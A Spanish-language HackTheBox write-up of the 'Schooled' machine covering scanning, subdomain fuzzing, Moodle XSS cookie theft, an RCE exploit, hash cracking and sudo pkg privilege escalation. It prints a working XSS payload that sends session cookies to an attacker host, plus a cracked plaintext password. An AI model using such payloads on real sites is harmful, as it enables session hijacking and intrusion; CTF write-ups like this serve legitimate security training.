Schooled - HackTheBox

Empece con un escaneo de Nmap para detectar puertos abiertos en la máquina.

┌──(root💀kali)-[/home/kali/HTB/Schooled/machine]
└─# nmap -sS --min-rate=5000 -vvv -n -Pn --open 10.10.10.234 -oN targeted
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-18 06:18 EDT
Initiating SYN Stealth Scan at 06:18
Scanning 10.10.10.234 [1000 ports]
Discovered open port 22/tcp on 10.10.10.234
Discovered open port 80/tcp on 10.10.10.234
Completed SYN Stealth Scan at 06:18, 0.52s elapsed (1000 total ports)
Nmap scan report for 10.10.10.234
Host is up, received user-set (0.047s latency).
Scanned at 2021-09-18 06:18:46 EDT for 0s
Not shown: 798 filtered ports, 200 closed ports
Reason: 798 no-responses and 200 resets
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh 	syn-ack ttl 63
80/tcp open  http	syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
       	Raw packets sent: 1798 (79.112KB) | Rcvd: 202 (8.088KB)

Hice otro escaneo para detectar la versión de cada puerto abierto.

┌──(root💀kali)-[/home/kali/HTB/Schooled/machine]
└─# nmap -sC -sV -p22,80 10.10.10.234 -oN webScan                    	 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-18 06:20 EDT
Nmap scan report for 10.10.10.234
Host is up (0.035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh 	OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open  http	Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.25 seconds

Tenía dos puertos abiertos, el primero era de servicio SSH y el otro era un servidor web, poco podía hacer en el primero por lo que recurrí a ver que había en el servidor web.

https://imgur.com/LXCKb0F.png

Al parecer era una página de colegio, seguí investigándola un poco más y encontré lo siguiente en el “footer” de la web.

https://imgur.com/Vnl3TCA.png

Esto me llamo la atención, pensé que se podría estar aplicando virtual hosting, es decir alojar distintos dominios en una sola ‘IP’, para ello lo introduje en el /etc/hosts.

https://imgur.com/9V1ffkh.png

Volví a acceder a la web, pero no había nada interesante.

https://imgur.com/LXCKb0F.png

Hice uso de whatweb para ver si corría algún CMS.

┌──(root💀kali)-[/home/kali/HTB/Schooled/machine]
└─# whatweb http://schooled.htb/
http://schooled.htb/ [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], Email[#,admissions@schooled.htb], HTML5, HTTPServer[FreeBSD][Apache/2.4.46 (FreeBSD) PHP/7.4.15], IP[10.10.10.234], PHP[7.4.15], Script, Title[Schooled - A new kind of educational institute], X-UA-Compatible[IE=edge]

Al parecer era la misma, para ello hice fuzzing de subdominios y encontré uno que me llamo la atención.

┌──(root💀kali)-[/home/kali/HTB/Schooled/machine]
└─# wfuzz -c --hc=404 -u http://schooled.htb/ -H "Host: FUZZ.schooled.htb" -w /usr/share/amass/wordlists/subdomains.lst -t 20 --hw=1555
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                     	*
********************************************************

Target: http://schooled.htb/
Total requests: 8215

=====================================================================
ID       	Response   Lines	Word   	Chars   	Payload                                                                                 	 
=====================================================================

000002430:   400    	10 L 	45 W   	347 Ch  	"ferrari.fortwayne.com."                                                                	 
000004127:   200    	1 L  	5 W    	84 Ch   	"moodle"

Moodle era un subdominio que al parecer estaba aplicando, lo introduje en el /etc/hosts.

https://imgur.com/OShD4Q5.png

Y la página me reporta algo diferente, era un moodle.

https://imgur.com/tCieGJx.png

Tenía un botón que ponía Log In, dándole clic me redirigió a una página de inicio de sesión.

https://imgur.com/dvEEVpA.png

No tenía credenciales por lo que poco podía hacer, pero me podía registrar.

https://imgur.com/W3FR84S.png

Una vez registrado, accedí.

https://imgur.com/OnSim3m.png

Viendo todas las asignaturas que habían, matemáticas era la única que tenía un usuario llamado ‘Manuel Philips’.

https://imgur.com/3VUKpya.png

Encontré un comentario de este usuario.

Sin título (4) (1)

Lo que más me llamo la atención es que pone que verificara a todos los usuarios, mirando un poco más la página encontré este buffer que al parecer me permitía hablar con Manuel Philips, Intente ver si era vulnerable a XSS.

Sin título (1) (2) (1)

Y me reporto la alerta por pantalla.

https://imgur.com/OpYC8nU.png

Ahora que sabía que era vulnerable a XSS me acordé del mensaje que decía que se verificarían todos los usuarios, pensé en efectuar un Cookie Hijacking, es decir robar la cookie de sesión del usuario privilegiado, para ello use la siguiente sintaxis en JS.

<script>document.location="http://10.10.16.3/value_cookie="+document.cookie</script>

Realmente se puede hacer de muchas maneras.

https://imgur.com/upgz0Co.png

Abrí un servidor por Python y recibí mi cookie de sesión por GET más otras que no eran mías.

https://imgur.com/gYNFMRR.png

Me autentiqu´r con la cookie que recibi y al parecer era del usuario Manuel Philips, volviendo al mensaje de antes, vi que ponia algo de MoodleNet, me dio por investigar y encontré un exploit de Lanz que te garantiza RCE.

Captura de pantalla (2)

Lo ejecute brindándole la cookie de sesión del usuario Manuel Philips y ejecutando una reverse shell por mkfifo y gane acceso a la máquina.

https://imgur.com/JpUx8Ox.png

Investigando la maquiná encontré un archivo llamado config.php que tenía credenciales de MySQL.

https://imgur.com/r590xtu.png

Antes de usar MySQL hice uso de la utilidad MySQLshow para enumerar un poco las bases de datos que habían y sus tablas.

Qm7IKtT

Tras una enumeración de la base de datos Moodle encontré una tabla en especial llamada mdl_user, enumerándola encontré distintas columnas, pero me llamaron la atención en especial “username”, “password” y “email”, tras enumerarlas me reporto distintos hashes de usuarios.

https://imgur.com/CBBvwrR.png

Decidí crackear los hashes con john en local y conseguí crackear la credencial !QAZ2wsx que era del usuario jamie, como la máquina tenía SSH abierto probé a autenticarme con estas credenciales y accedí, ya pude visualizar la “flag” del usuario.

NPUMyaN


ESCALADA DE PRIVILEGIOS

Haciendo sudo -l vi que podía ejecutar pkg como cualquier usuario.

https://imgur.com/5rV3sG0.png

Me dirigí a gtfobins y encontré una carga útil que me permitía escalar privilegios.

https://imgur.com/EjF0tv9.png

En la máquina víctima no tenía fpm instalado, para ello lo hice en mí máquina, hice que le otorgase privilegios SUID a la bash, lo transferí a la máquina víctima y lo ejecute, ya pude visualizar la “flag” de root.

t7fDsbP

Leave a comment